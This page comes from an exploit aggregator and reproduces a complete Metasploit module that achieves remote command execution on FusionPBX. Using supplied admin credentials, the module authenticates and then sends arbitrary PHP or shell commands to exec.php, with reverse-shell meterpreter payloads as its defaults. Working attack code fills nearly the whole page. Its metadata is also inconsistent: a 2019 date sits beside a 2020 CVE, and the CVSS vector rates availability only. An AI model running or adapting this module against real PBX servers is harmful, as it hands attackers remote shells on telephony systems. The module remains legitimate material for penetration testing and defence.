Advertisement






FusionPBX Command exec.php Command Execution

CVE Category Price Severity
CVE-2020-24402 CWE-78 $5,000 High
Author Risk Exploitation Type Date
LootPax High Remote 2019-11-15
CPE
cpe:No CPE URI string available
CVSS EPSS EPSSP
CVSS:7.5/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.78452 0.92163

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019110096

Below is a copy:

FusionPBX Command exec.php Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FusionPBX Command exec.php Command Execution',
      'Description'     => %q{
        This module uses administrative functionality available in FusionPBX
        to gain a shell.

        The Command section of the application permits users with `exec_view`
        permissions, or superadmin permissions, to execute arbitrary system
        commands, or arbitrary PHP code, as the web server user.

        This module has been tested successfully on FusionPBX version
        4.4.1 on Ubuntu 19.04 (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          => ['bcoles'],
      'References'      =>
        [
          ['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
        ],
      'Platform'        => %w[php linux unix],
      'Arch'            => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Targets'         =>
        [
          ['Automatic (PHP In-Memory)',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},
            'Type'           => :php_memory
          ],
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate'  => '2019-11-02',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
      OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
      OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
    ]
  end

  def login(user, pass)
    vprint_status "Authenticating as user '#{user}'"

    vars_post = {
      username: user,
      password: pass,
      path: ''
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
      'vars_post' => vars_post
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.code == 302 && res.headers['location'].include?('login.php')
      fail_with Failure::NoAccess, "Login failed for user '#{user}'"
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

    unless cookie
      fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
    end

    print_good "Authenticated as user '#{user}'"

    cookie
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    vars_post = {
      handler: 'php',
      table_name: '',
      sql_type: '',
      id: '',
      cmd: cmd
    }

    case opts[:handler]
    when 'php'
      vars_post[:handler] = 'php'
    when 'shell'
      vars_post[:handler] = 'shell'
    when 'switch'
      vars_post[:handler] = 'switch'
      vars_post[:cmd] = "bg_system #{cmd}"
    else
      vars_post[:handler] = 'shell'
    end

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'app/exec/exec.php'),
      'cookie'    => "PHPSESSID=#{@cookie}",
      'vars_post' => vars_post
    }, 5)

    unless res
      return if session_created?
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    if res.body.include? 'access denied'
      fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
    end

    res
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :php_memory
      execute_command(payload.encoded, handler: 'php')
    when :unix_memory
      execute_command(payload.encoded, handler: 'shell')
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500, handler: 'shell')
    end
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum